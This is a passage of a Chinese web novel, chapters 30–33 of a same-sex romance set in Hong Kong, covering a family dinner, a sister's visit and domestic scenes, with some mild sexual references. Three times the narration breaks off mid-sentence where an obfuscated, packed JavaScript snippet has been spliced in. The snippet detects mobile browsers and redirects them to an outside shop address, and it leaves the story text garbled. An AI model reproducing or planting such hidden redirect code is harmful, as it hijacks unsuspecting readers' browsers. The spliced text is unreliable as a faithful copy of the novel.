“没什么事挂了,我忙着呢。”江扩准备挂电话。 “等等。”江广荣突然道。 “又干嘛?”江扩吐出一声不耐烦道叹息。 “跟我吃顿饭好了吧,”江广荣说,“今晚来跟我吃顿饭,带你男朋友来也好。在联华茶餐厅。” “找你女儿和老婆吃去。”江扩又准备挂电话。 “她们两个好久没来了,”江广荣闭眼叹了口气,“你是不知道你爸现在多孤独寂寞。” “找你几个好手下去。”江扩阴沉着脸挂了电话。 上午一节课上了连续几个小时,下课时江扩感觉整个人都虚脱了。伸了个懒腰后,摸出手机找到黎念的Whatsapp。 ——江扩:上完课没? ——忧郁奔向冷的天:上完了,好想你啊【哭泣】 江扩直摇头。 ——江扩:跟你说上课别走神的【生气】 ——忧郁奔向冷的天:看你教室门口。 江扩下意识抬头往门口望去。 只见黎念双手交叉抱胸,笑容粲然看着教室里的江扩。一头狼尾羊毛卷发随风飘逸,染成浅蓝色的发尾尤为显眼,右耳上的两个耳环在正午日下熠熠生辉;身上的美式无袖T恤痞帅又少年感十足,毛边牛仔短裤,脚穿中筒白袜和一双复古马丁靴。 经过的男男女女同学的目光都会被这靓仔吸引过去,但很快这些女生的目光又会移开然后偷笑一会儿。因为这人从头到脚都在告诉在座各位“老子是gay”。 剩下那些移不开目光的,大概只有同类了。 江扩听着那些男仔女仔的惊叹声,一脸无奈背上电脑包,走了出去。 “大哥,看我帅吧。”黎念对江扩仰了仰头。 “帅。”江扩实说。 “走吧,去食堂。”江扩说。 黎念在教室听说有个食堂的叉烧饭很不错,便缠着江扩要去试试。 正好江收在法学院上完课,也跑过来找江扩,最后去食堂成了三人行。 “你男朋友呢?”江扩随口一问。 “分了,”江收说,“上次他跟同个美术系的男生好上,让我给发现了。” 江扩皱了皱眉。 “然后他俩在酒店让我差点打死,当时都头破血流,打完之后我就跟他分了。”江收笑道。 江扩想象到那个血腥画面,不由得全身打了个颤。 “你个读法律的,还打人?”江扩无奈。 “香港法律没有规定读法律的不可以打人。”江收理直气壮道。 “狡猾。”江扩哼了一下。 仨在食堂排了很久的队,终于买到黎念心心念念的叉烧饭。找了个位子坐下。 “你不是去实习吗?怎么还用上课啊?”黎念边吃边问。 “有课肯定要上啊,又不是实习就没课了。”江收也往嘴里扒饭。 “唔!”黎念嚼了一会儿,突然趴到江扩胳膊上哼哼唧唧。 “呛到了?”江扩的心马上收紧起来。 黎念抬起头一脸痛苦,一手指着自己鼓鼓的嘴。 “怎么了?”江扩匆匆看了一眼黎念那份叉烧饭,似乎没啥问题。 “好吃。”黎念终于把饭咽下去,对江扩嬉皮笑脸。 “又吓我。”江扩咬牙扇了一下黎念的额头,黎念又开始哼哼唧唧。 转头继续吃的时候,江收坐在对面托腮看着俩人。 “干嘛?”江扩问。 “你俩真好磕。”江收啧啧摇头。 “别磕坏牙齿了。”江扩揶揄道。 “不是有句话说得好,”江收笑道,“你俩就好好在一起吧,剩余的交给我们法学生,争取早日让香港同性婚姻合法化。” “那你可得赶紧的,”黎念把头靠到江扩肩膀上,“我可天天想着跟江扩结婚。” 说罢还故意蹭了几下。 江扩的心都要化了。 “认真吃饭!”江扩又轻轻扇了一下黎念的额头。 黎念哼哼唧唧好一会,这才趴下去认真吃饭。仨终于安安静静吃完叉烧饭。 “爸今晚有叫你去吃饭吗?”江扩问江收。 “没,”江收拿纸巾擦了一下嘴,“我不太想跟他一块儿吃,一坐下来就跟我说读书没用跟着他混。他那些小弟死的死,结婚的结婚,走正道的也走正道了,我真不明白他到底在固执什么。” “他改不了了,”江扩叹了口气,“现在他不跑出去做伤天害理的事已经是谢天谢地了,这么大岁数的人我们也没办法改变他。” 江收摇摇头。 “他叫你去吃饭?”江收问。 “嗯,”江扩说,“今晚我去一趟,省得你妈或者江广荣说我没孝心。” “我呢?”黎念指了指自己。 “你也一起去吧,江广荣最近老给我介绍对象,”江扩伸手把黎念嘴角的一枚饭粒扫走,“咱俩当着他的面出柜应该更有震慑力。” “他会不会打死我?”黎念问。 “现在是法治社会,他再黑也黑不到哪去。”江扩哼了一声。 下午黎念没有课,在学校逛了一下午,顺便买了束花。直到江扩下课几分钟才跑去教室门口等着。 学生经过又是引起一波轰动。 江扩猜到黎念在门口等着,也是很早就收拾完东西出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722010|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 “大哥,送你的。”黎念把花粗暴塞到江扩怀里。 前面几个学生传来几声感叹。 “谢谢,”江扩下意识闻了下花,“怎么突然送花?” “突然看到,就买了。”黎念笑道,“你上次不也送花了嘛。” “走吧,去吃饭。”江扩上去牵住黎念的手。 为了赶时间,两人到路边打的士。 上了的士,江扩把花放到一边,贴心地给黎念系上安全带。 “我自己会系的。”黎念的语气有点羞涩。 “哼。”江扩双手抱胸。 前面的士师傅透过后视镜偷偷瞥了俩人一眼,开了收音机放歌。 歌者是个香港本地挺有名气的男歌手,唱的是最近刚发行的新歌。 “这首歌我怎么没听过?”黎念小声嘀咕,“还挺好听的,词儿也不错。” “我写的。”江扩在旁边悠悠道。 “咩啊?”黎念瞪大双眼,“你写的歌词?!” “嗯。”江扩点头。 “知道为什么词这么激昂悲愤吗?”江扩笑了一声。 “为什么?”黎念凑了过去。 “写这词儿的时候,你当时跟你小男朋友在客厅跳舞,可气死我了。”江扩看了黎念一眼。 “呃。”黎念有些尴尬地挠了挠脑袋。 一首歌放完,电台主持人一通介绍后又放了另一首。 “这首也是我写的。”江扩说。 “你别说这词又是被我气出来的。”黎念干笑几声。 “不是,”江扩悠悠回答,“这首词是一两年前找不到你的时候在浅水湾写的,你不觉得这歌词挺惨吗?” “那阵子你很想我吗?”黎念沉默片刻又问。 “也不是很想,”江扩回忆,“通常很忙的时候不想,但是自己得闲一个人呆着那会儿你的事就全涌出来了,怎么都刹不住。” 黎念伸出左手,轻轻捏了捏江扩的右手手背。 “我在这了。”黎念在江扩耳旁说。 江扩默默反过手跟黎念牵着,目光往车窗外望去。 车终于开到联华茶餐厅前停住。江扩付钱下了车。 江广荣在角落那张桌子坐着,一眼就瞥见他儿子一手捧花一手牵着个gay里gay气的男人的手进了茶餐厅。 江广荣趁江扩和黎念不注意,偷偷翻了个白眼。 “爸。”江扩咬着牙不情不愿喊了。 “阿叔。”黎念叫了一声。 “坐。”江广荣抬了抬下巴。 点完单,三人都没有共同语言,就那样杵那干坐着。 “你是江扩的男朋友?”江广荣打量黎念片刻,“怎么那么像之前那个。” “哦!”黎念猛地去看江扩,“原来你交过男朋友!” “没有。”江扩皱眉看了看江广荣,“话不要乱说,想拆散我们找其他说法。” “之前不是有个名字很奇怪的小孩吗?”江广荣笑了一声,“黎大福?” “我就是。”黎念冲江广荣点头。 “变这么大吗?我记得你以前小小一个,还总是哭鼻子。”江广荣说。 “现在不也会。”江扩挑衅般看了黎念一眼。 黎念本想趴到江扩身上哼哼唧唧,但碍于大哥荣在对面看着,也就没有跟在别处一样放肆。 问完几句话,三人又陷入沉默。 31. 第 31 章 “奶茶到。”茶餐厅伙计的尖锐嗓门打破这场尴尬。 道了谢,黎念接过奶茶喝了一口。 “苦,就是这个味儿,”黎念轻轻咂了几下嘴,“不过我觉得还是比我去过的那家早餐店差了那么一丢丢,就是旺角那家很有名的早餐店。” “这东西好喝吗?”江广荣突然问。 “您没喝过?那试试看。”黎念伸手把伙计叫过来。 “唔该再来一杯奶茶,”黎念回头看江广荣,“冻饮吗?” “不要,浪费钱。”江广荣说。 “差不了那么几块。”黎念又转过头跟伙计说,“T(热奶茶)一杯。” 江扩忍了很久还是凑过去黎念耳旁。 “不是说差不了几块钱,你怎么还叫热奶茶?”江扩问。 江广荣对面前窃窃私语的俩人,有点不爽地皱了皱眉。 “哦,”黎念故意大声,“阿叔这个年纪喝冻饮,容易肠胃不好,所以叫了热奶茶。” “对吧阿叔。”黎念又转头对江广荣笑了笑。 “醒目。”江广荣点头。 几道港式茶餐厅的经典美食端上桌,黎念马上夹了几个鬼佬肉到江广荣碗里。 “阿叔你先吃。” 见黎念全程几近谄媚,江扩偏头咳了一声。 “我自己会,不用麻烦。”江广荣脸色有点难为情。 “这哪能叫麻烦呢,”黎念语重心长道,“你是我男朋友的父亲,也就相当于是我父亲了对吧,儿子孝敬父亲这哪能叫麻烦呢。” 江广荣无言以对,倒是江扩起了一身鸡皮疙瘩。 吃着吃着,黎念突然又跟江广荣聊到最近的跑马和球赛。两人的频道破天荒走到同条线上。 菜上完了,两人还在聊。江扩凝视江广荣的脸,这好像是第一次从江广荣脸上看到这种会心的笑容。 尽管他还是很讨厌这个把他强行绑来香港,还出轨一个小三的不合格的父亲。但是此刻他不得不承认,他好像没有跟以前那么恨这个男人了。 而且,江广荣好像老了不少,皱纹也多了。 一整顿饭吃完,两人还在滔滔不绝。特别是黎念,几乎兴奋得快从皮椅跳起来。 “您是不知道当时我站在那个观众席多刺|激!”黎念一拍桌子,“我下注的那匹马中场的时候差点摔倒,落后其他号多少倍!结果呢,快到终点的时候,他冲了!然后,第一名!欧耶!” “这位先生请别太激动。”旁边的服务生小声说。 “Sorry。”黎念粲然一笑。 “我下注就没赢过。”江广荣感慨。 “您必须能赢一次,下次试试,我教你怎么才能自己赢的几率大点!”黎念凑过去又准备开始一轮惊天动地的演说。 结果一整顿饭下去,江广荣再也没提给江扩找老婆这茬儿。 “要回家了吗?”江扩问还沉浸在兴奋里的黎念。 “你俩住一起了?”江广荣的表情很明显有点嫌弃。 “嗯,”江扩说,“有什么意见吗?” “没。”江广荣无奈。 “那我们走了。”江扩依旧一手捧着玫瑰,一手搂住黎念的肩膀出了茶餐厅。 “等等。”江广荣在后面喊道。 江扩脚步顿住了,整个人变得警惕起来,仿佛身后江广荣握着把枪,枪口对准黎念。这是莫约十年前他做噩梦时经常梦见的场景。 “怎么了?”江扩屏住呼吸转身。 “有空带大福常来聚。”江广荣只是说。 “阿叔,我现在叫黎念,不叫黎大福了。”黎念笑道。 “哦。”江广荣讷讷应道。 尽管江广荣没有拿出什么乱七八糟的杀人凶器,江扩还是打心里觉得黎念处那环境很危险,得赶紧把他护送回家。 这大概就是男友的保护欲吧。 出了茶餐厅,为了早点回家,又是打了的士。 “我想起一个潮汕话能形容你刚刚那样儿。”江扩又给黎念系好安全带。 “什么?”黎念好奇地凑过去。 “嘴甜舌滑。”江扩用潮汕话念出来,突然发现自己的潮汕话已经很生疏了。莫名有些伤感。 “啥意思?”黎念又问。 “说你嘴巴很甜的意思。”江扩回答。 “我要是嘴不甜,那能讨好你爸吗?”黎念说,“以后你就不用天天被他催什么娶老婆,我听着都烦。” “你不用讨好他,我跟他不熟。”江扩说。 “你跟他不熟,他不还是你爸。”黎念反驳。 江扩无言以对。 “以后还是要小心他,他这么多年还是个危险人物。”江扩看向车窗外。 “你没发现他老了吗?”黎念问。 江扩无言,点了点头。 “他再怎么老,以前做的错事都不会消失,明摆在那里,”江扩说,“他老了我可能没跟以前那么讨厌他,但膈应还是有的。” “我懂。”黎念回答。 回了家,江扩先去洗了澡,黎念拿出笔记本复习今天上课的内容。 由于自己是旁听生,没有老师或者辅导员监督,一切都要靠自己自觉。 江扩洗完澡出来,黎念复习完已经在疯狂码字。 “休息一会吧,去洗澡。”江扩擦着头一边说。 “哦。”黎念乖乖合上电脑,进了房间拿衣服。 刚要进厕所锁上门,江扩又杵在旁边。 “今天怎么没叫我跟你一块洗了?”江扩问。 “对喔,”黎念一捶手心,“要不要一块洗?” “我踏马都洗好了。”江扩哼了一声。 “那你又问。”黎念不爽,关了门。 江扩对着紧闭的门偷乐片刻,又坐到沙发看书。 黎念脱了衣服刚想放歌,才发现手机没拿进来。开了个门缝从里面探出一只手。 “大哥,手机给我拿来。”黎念说。 江扩在茶几上找到黎念的手机,发现有十几个未接电话。 “谁打给你的?这么多未接电话。”江扩走到厕所门口。 “美国那边的号码,只有黎雄或者郭霞了,”黎念接过手机,“我有给我姐备注的。” “要不接一下吧?”江扩小心翼翼地道。 “不接,我都跟他们断绝关系了,”黎念黑着脸把十几个未接电话全部删除,“而且我也不是没接过电话,每次打过来都是对我一顿臭骂加人身攻击,我习惯了。” 江扩叹了口气正要回沙发坐着,黎念的手机又响了。备注是“攻击性极强危险人物爆头大姐大”。 “这你姐?”江扩啼笑皆非。 “嗯。”黎念笑眯眯接了电话。 “喂姐?”黎念锁了门,“这么晚还不睡啊?” 江扩在厕所门口,多多少少听到一点。 “睡个屁!我们这大白天的睡什么睡?”黎徊骂骂咧咧。 “行程提前了,老娘周五就要到,记得到时候早上去机场迎接我啊,”黎徊点了根烟,“最近跟你那个大哥咋样了?还有去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722011|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' gay吧鬼混吗?有的话叫你大哥趁早跟你分手,别让你这死gay给渣了。” “我现在老实着呢。”黎念干笑。 江扩暗暗笑了几声,回客厅沙发继续看书。 “姐你还有油柑种植基地的电话吗?我想买点油柑。”黎念说。 “有啊,”黎徊呼出一口烟,“给你大哥买的吧?” “嗯。”黎念傻傻点头。 “我到时候给你找,”黎徊又问,“你那个焦虑怎么样了?还失眠不?最近还有惊恐发作吗?” “没有,睡得踏实着呢。”黎念回答。 “哦?那你跟你大哥做了那个没?”黎徊又双问,“你俩谁攻谁受啊?我猜你应该是......” “姐,这是可以说的吗?”黎念又是几声干笑,“挂了,我洗澡呢。” 挂了电话,黎念才松了口气。 洗完澡出来,江扩还在看书。 “我姐周五就到了。”黎念说。 “我知道。”江扩的目光没有移开书,“刚刚听到了。” “你偷听?”黎念啧了一声。 “就前面不小心听的,后面没听到。”江扩回答。 “我姐还问我俩谁攻谁受呢。”黎念笑道。 “这个倒是没听到,”江扩终于抬头,“你有说吗?” “没有,我害羞。”黎念垂着头,俩食指轻轻对戳。 “当时对那群gay吧的朋友说要找满一百个男朋友,你有这样害羞吗?”江扩揶揄道。 “我那是醉了,您又拿这个说事儿。”黎念委屈。 “睡觉。”江扩板着脸说。 “我以后不会了嘛。”黎念整个趴到江扩肚皮上哼哼唧唧。 江扩很容易被黎念的委屈小狗行为吸引到,然后产生一些不好的念头进而做一些不好的事儿。 因此被黎念这样胡乱蹭来蹭去煽风点火很久,江扩终于忍不住用蛮力把黎念横着抱起来,径直进了厕所。 “你干啥?”黎念在怀里还没反应过来。 “我准备干您,”江扩把黎念整个放到洗手盆坐着,自己回了房间,“您先自自己脱衣服,你的第十二个男朋友去找一下套和润滑在哪儿,稍后就回。” “你欺负我。”黎念被洗手盆的缺口磕得直哀嚎。 由于隔天有课,江扩抱着黎念以上次提起过的姿势折腾没多久便回房睡觉。 几天后周五。 早上江扩醒来,手下意识往旁边摸,黎念不知道什么时候起床了,外边有声音。 没多久江扩跂着拖鞋走出去,惊讶地看到黎念系着围裙在厨房忙活。 “早晨啊。”江扩走进厨房,“做什么呢?” “给大哥的爱心早餐。”黎念粲然一笑。 “怎么突然做早餐。”江扩愣了愣。 “不喜欢,那我自己吃。”黎念低头假装想一口咬下煎蛋的边。 江扩就杵那看着,也没伸手阻止。 “嘿嘿,骗你的,”黎念把另一个盘子的早餐放到江扩面前,“这份三明治是你的。” “三明治自己做的?”江扩去揉黎念的脑袋。 “那肯定我自己做啊。”黎念眯了眯眼。 “怎么这么像猫。”江扩嘀咕道。 最近天气转凉,江扩早上很爱坐到在窗台边那张破桌子边晒太阳边吃早餐,黎念便也跟着。 那个被江扩砸塌的门前两日也叫师傅来修好了。 俩人在暖日下腻歪在一起吃完早餐,就得出发去机场接黎徊。 32. 第 32 章 赤鱲角国际机场此刻正人群拥挤。 黎念抱着一束准备送给他姐的花,跟江扩挤在人群里左顾右盼。 “怎么这么久?”江扩轻轻踩了踩略酸的脚。 “指定是迷路了,”黎念说罢又补充道,“在机场里迷路了。” “你姐比你聪明那么多,怎么可能。”江扩干脆直接倚到栏杆上。 “你哪只眼睛看到她聪明了?”黎念嘁了一声。 “哼。”江扩双手交叉抱胸。 不知道在机场里等了多久,都已经过了接机时间。 “你姐到底来没来?”江扩皱眉,“打个电话看看吧。” “哦,好。”黎念拿出电话拨了黎徊的手机。 “姐你在哪?”黎念劈头盖脸问。 “我在厕所,刚刚找吸烟区迷路了。”黎徊正好按了冲水。 黎念用戏谑的眼神瞥向江扩。 “干嘛?”江扩白了黎念一眼。 “迷路了。”黎念用口型说。 “哈。”江扩无奈。 “别以为你俩不出声我就不知道你们在笑我!”黎徊骂骂咧咧推开厕所的门,“我真草了......你们给我等着,我这就出来!” 黎徊出厕所的时候,刚好看见黎念靠在比他高个五六厘米的大哥背上刷手机。顿时想起一首国语歌。 “我们背对背拥抱......” “喂,在这!”黎徊招手。 “姐!”黎念扔下手机激动喊道,“花,给你的。” 直到黎徊站到俩面前时,黎徊接过花束转了个圈。 “看我有什么变化?”黎徊挑了挑眉,上面打了个眉钉。 “有,好像胖了点,”黎念用胳膊肘轻轻碰了碰旁边的江扩,“是不是?” “嗯。”江扩一本正经道。 “去你的,眼神儿呢?”黎徊又故意挑了几下眉,“没看见眉钉呢吗?” “不疼吗?”黎念问。 “不疼......我又不怕疼。”黎徊回答。 “那我也去打。”黎念转头去问江扩,“大哥你觉得怎么样?咱俩一起打。” “我怕疼。”江扩憋着笑。 “我姐都说了不疼。”黎念凑过去撒娇。 “有机会吧。”江扩帮忙接过黎徊的箱子拖着,仨一边走向机场门口。 外边恰好一整排的士在街头等着。 “好久没回来了,都差点忘了的士是红色。”黎徊感叹。 “姐你这次来有什么计划?”黎念问。 “有,”黎徊说,“跟你俩出去玩玩,然后我还得找个机会去见我之前的男朋友,也不知道现在怎么样了。” “那么多个,是哪一个?”黎念嘴欠。 “那个感情最好的,在中环当小提琴老师。”黎徊回答道。 “没听说过。”黎念摇头。 “你当然没听说过,那阵子天天跟你好大哥黏在一起,家里的事一件不理!”黎徊扇了一下黎念的额头,伤者捂着额头哀嚎。 “不哭不哭。”江扩揉了揉黎念的头。 黎念趴在江扩身上哼哼唧唧许久,直到上了的士才消停。 “今晚去哪吃?”黎徊问江扩。 “牛腩吧,行李先放家里。”江扩回答。 “姐你就到隔壁房间睡吧,都给你收拾好了。”黎念说。 “啊?”黎徊说,“算了我还是订酒店吧,我怕到时候你俩做|爱了我打扰到你们。” 前面的司机师傅不自觉露出大彻大悟的微笑,朝后面几人看了一眼。 江扩“啪”一声捂住自己整张脸。 “嘘。”黎念急了。 “没事,他听不懂。”黎徊摆摆手。 “香港人大部分识得普通话。”师傅忍不住用普通话反驳。 “哦。”黎徊沉默了。 这才想起自己离开香港很久,什么都在变。 “姐,油柑种植基地地址找到了吗,”黎念趴到江扩胳膊上,“我大哥想吃。” 又好像什么都没变。 “我发给你。”黎徊低头,把Whatsapp朋友发的一串地址粘贴后发给黎念。 “谢谢姐。”黎念笑眯眯地道。 “油柑地址?”江扩愣了愣。 “嗯,之前那家,你说好吃的。”黎念说。 算来算去,江扩也快七年没有尝到油柑了。 “谢谢。”江扩笑了笑。 车开到公寓楼下停住。 拖了行李箱出来后,的士开走了。 “几楼?”黎徊抬头看了眼直冲云霄的公寓楼。 “36楼。”江扩回答。 “有电梯吧?”黎徊抹了把汗。 “姐你想啥呢,当然有,”黎念指着自己跟江扩,“不然我俩能活到现在。” 到了电梯口,江扩腾出一只手来按电梯。黎念负责在身后招待他姐。 黎念拿钥匙开了门,黎徊第一个摸黑冲进去,很快又被一张椅子绊倒。 “这么窄?”黎徊扶着椅子站起来。 “姐你都三十岁的人了,怎么还冒冒失失的。”黎念摸黑开了灯,一边揶揄道。 “去你的,我没有三十!”黎徊骂骂咧咧推开黎念。 江扩忍着笑把黎徊的行李拖到隔壁房间放好。 九记牛腩离这不近,也就坐叮叮车去。 “好久没坐叮叮车了。”黎徊感慨。 “趁这几天多坐会。”江扩伸出一只手到车窗外。 “你俩啥时候买车?这叮叮车也太慢了吧。”黎徊抱胸。 黎念才想起自己好像还没考驾照。 “江扩你驾照呢?”黎念转头问。 “考了,过阵子买吧。”江扩说。 “那我就不考了。”黎念说。 “不行,你也得考,咱俩轮流开。”江扩皱眉。 “好叭。”黎念委屈。 存款确实够买辆车了,但是买完车也剩不了多少。江扩靠在车窗思来想去,写歌词不够,还得再找个兼职。 正好最近一家出版社招校对兼职,等有空还能去看看。 饭点这会人多,九记牛腩门口还是一条长队。三人排了很久才到前几位。 老板正在店里冲客人发火,客人敢怒不敢言。 可能是因为这家店牛腩太好吃不想被赶跑,也可能是因为老板以前是江湖上叱咤风云的九哥,无人敢惹。 听说收银台下面藏着根铁棍,是九哥防止被以前江湖上的仇家砸场子准备的。 “我可没持枪逼着你吃,不爱吃以后不要来吃,别拦住我做生意啊!”老板直接从收银台下面抄出一根铁棍,对着一桌客人吼道。 那桌客人扔下碗筷灰溜溜地跑了,正好也有一桌吃完,空出两张饭桌。 “老板还是跟以前一模一样。”黎徊感叹。 轮到他们几个时,江扩又回头看了一眼长队。队尾有个艺术气息挺浓的长发男人,看着眼熟,正和另一个男人站一起聊天。 跟前面两人进店的同时,江扩才想起这人是江收那个出轨一个男人的美术生前男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722012|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友。 “你在看后面那个长头发的男人?”黎念凑过来质问。 “嗯。”江扩回答。 “gay达响了是吧,我也是,”黎念把手插进裤兜儿,“您看我帅还是他帅?想不想去要个联系方式?您这是准备......” “江收前男友。”江扩拧了一下黎念胳膊。 “那个出轨被抓的?”黎念收起嬉皮笑脸。 “嗯,”江扩继续推着黎念往前走,“不用管他。” 坐到狭窄的饭桌前,黎徊才松了口气,一下挥手叫了个店伙计过来,和十年前来这儿点的一样,点了三份咖喱牛腩面。 “这次回来准备呆多久?”黎念问他姐。 “一周吧,你俩不用怎么管我,我自个浪去。”黎徊摸出一根烟叼着。 “姐,这不能抽烟。”黎念偷偷回头观察暴脾气的老板。 “哦,差点忘了。”黎徊又把烟放回去。 伙计端了三份奶茶过来。 “一周就回去吗?”黎念有点不舍。 “嗯,但是我很快会再回来,不想在那地方呆着了,还是香港好。”黎徊低头转了一下奶茶杯。 “爸妈同意了?”黎念问。 “我管他们两口子同不同意,这是我的人生,我自己做主,由不得他们。”黎徊语气掷地有声。 “姐你看着不像三十岁的人,”黎念忍不住说,“倒像个叛逆期的野孩子。” “这叫个性。”黎徊挑眉。 吃完牛腩,由于时差改变,黎徊又头晕又困得不行,匆匆赶到出租屋在隔壁房间很快睡着。 隔天江扩收到下午要上课的消息,黎念也是。不过一大早醒来屋里就没了黎徊的身影,估计是跑出去玩了。 黎念感慨他姐还是跟十年前一个样,在家是一点儿都待不下去。 江扩换好衣服出来的时候,黎念还在护肤,顺便理一理他那宝贝头发。 “大哥,你看我帅不帅?”黎念转身,手还在脸上抹着,“我当年在gay吧,就是靠我这张脸迷倒万千基佬......” “哎呀,你说要是当年我多注意点形象,是不是就能把年少的你迷得神魂颠倒无法自拔。”黎念嘻嘻一笑。 江扩听见黎念又讲起gay吧的风流事迹,黑着脸进了房间。 外面传来易拉罐的呲啦声,江扩皱眉出了客厅。 “在干什么?”江扩双手抱胸站到黎念面前。 “喝可乐。”黎念小心翼翼舔了舔甜腻腻的嘴唇。 “你还有脸说?”江扩咬牙揪了几下黎念的没戴耳环的那边耳朵,“这周喝多少罐了?” “六!”黎念哀嚎。 江扩推开黎念,从沙发垫下拿出一张不平等条约。 “念。”江扩抬了抬下巴。 黎念委屈,埋头认认真真读了一遍条约。 “不许什么。”江扩问。 “酗可乐。”黎念委屈地吸了吸鼻子。 “不去去哪?”江扩又问。 “gay吧,”说罢黎念又加了句,“我没去。” “加一个,自己写,”江扩叹了口气,“加一个不要谈起gay吧的事。” 黎念顺来一支笔加了个新规则。 “可乐不要喝太多,对胃不好,何况是大清早喝,”江扩看了看黎念手中的可乐,“喝多少了?扔了吧。” “怪浪费的。”黎念纹丝不动。 “那我喝了。”江扩拿起可乐就走。 黎念把不平等条约塞回沙发垫下面,匆匆跟上。 33. 第 33 章 下午没有课,中午江扩便和黎念在食堂解决午餐问题。 这次江收没在学校,身边终于少了个目光炽热一直在磕他俩的人。 “江收变太多了,我当时差点认不出她来。”黎念又是吃叉烧饭,一边跟江扩说话。 “你是没看见她家里一堆模型手枪和没开刃的匕首。”江扩笑了一声。 “没开刃?”黎念问。 “当时本来有一把她偷偷拿去开刃了,”江扩说,“结果那天她拿匕首杵门口想吓她男朋友,不小心划了她男朋友个大口子,隔天她男朋友什么枪啊都不让她碰,那把匕首也扔了。” “出轨那个?”黎念又问。 “不,是前男友,分手了。”江扩回答。 “想不到江收会学法律啊,”黎念感慨,“我还以为她真当黑|手|党去了呢。” “听说中二病智商都很高。”江扩一本正经道。 黎念嘴巴鼓鼓,听见江扩的话嗤嗤笑出声来。 “你姐今天不知道去哪了。”江扩说。 “我猜她去找男朋友,”黎念说,“这么多年她没拍拖,就是在等她男朋友。” “你姐这么专一,”江扩揶揄,“不像你,离开我直接风流成性。” “我那是。”黎念还要狡辩,江扩直接一巴掌拍到黎念额头。 “别呛到了,你嘴里一堆东西。”江扩正色道。 黎念委屈巴巴蹭了几下江扩的胳膊,这才开始认真吃饭。 直到下午上完课,黎念还没收到江收任何消息。 江扩拿出手机给黎念发了个小爱心,直接到楼下等着。 不久江扩手机振动两下,黎念来消息了。一大串小爱心,江扩目测得有上百个。 ——忧郁奔向冷的天:大哥,看你后面。 江扩转过身往后面看去。黎念手里攥着一根线,头上飘着个氢气球,是个粉色的猪头。 “大哥,看它像不像你。”黎念笑嘻嘻道。 “不像,我属羊,”江扩看了一眼猪头,“像你。” “我属猴!”黎念气鼓鼓。 “长的像你。”江扩又贴心地加了一句。 “不玩了,”黎念叹了口气,把线弄下来缠在江扩手腕,“送你的。” “谢谢。”江扩也不问黎念莫名其妙买了个氢气球干嘛,上去和黎念并肩走着。 一整天黎徊都没有发过消息,黎念出了G大大门才摸出手机打了黎徊的电话。 一连拨了三四个电话都没人接听。 “估计在跟男朋友叙旧呢。”黎念挂了电话嘀咕道。 晚上没什么节目,江扩准备回家做顿简单的饭菜吃,又想起冰箱的东西也没剩什么了。 跟黎念去附近地下商场买了点菜和肉,黎念又拿出电话,想打给黎徊问一下今晚回不回来吃。 打了几个电话还是没人听,黎念着急,又用whatsapp给黎徊发了几条消息加表情包。 黎徊还是没有回。 “算了,我们自己吃吧。”黎念无奈。 一路上黎念一直很不安,全程皱着眉。 “我姐会不会出啥事啊?”黎念说。 “可能是没看到手机。”江扩安慰。 回了家,江扩把猪气球撒到饭桌旁,自己先到厨房洗菜。黎念坐在沙发码字,全程心神不宁。 时不时望向厨房忙活的江扩,直到江扩围上围裙准备炒菜,黎念终于站起身,蹑手蹑脚走进厨房。 江扩刚把菜倒进滚烫的油锅,黎念凑了上来,从后面环住江扩。 “小心油星。”江扩低头翻了几下菜。 “你什么时候学会炒菜的,”黎念看着锅里的菜,“我都不会炒。” “没学过?”江扩说。 “嗯,”黎念回答,“一个人的时候要么叫外卖,要么出街吃。” “你以前那么多男朋友,就没有一个会炒的?”江扩发出一声嗤笑。 “不会。”黎念实说。 “一群废柴。”江扩冷笑。 不久一锅好菜终于完成,江扩把菜倒进盘里装好。 “手撒开。”江扩说。 黎念很听话地把手放开,江扩端着热腾腾的肉菜放到外面的小饭桌上,转身又炒第二份。 黎念又把手环到江扩腰上,还轻轻蹭了蹭肩窝。江扩虽然觉得身后被个人抱着做菜挺麻烦,但心里也暖暖的。 “我就不做你姐那份了,”江扩说,“估计和男朋友叙旧吃饭呢。” “好。”黎念应道。 江扩炒了一半,黎念的手开始不太安分。 “别动,”江扩咬牙,“现在没空。” “那什么时候有空?”黎念在江扩耳旁用软糯糯的语气说。 “今晚,”江扩笑了一声,“今晚干|你。” “收到。”黎念也跟着笑。 几句虎狼之词讲罢,江扩更认真炒菜了。 没过多久,又端上两盘家常菜放到餐桌上。 “吃吧。”江扩解下围裙。 “大哥,你穿围裙的样子真好看。”黎念一脸喜滋滋。 “那我今晚穿围裙干|你。”江扩贱兮兮道。 黎念眨了眨眼,“啊?” “快吃。”江扩收起贱贱的笑容,朝那几道菜抬了抬下巴。 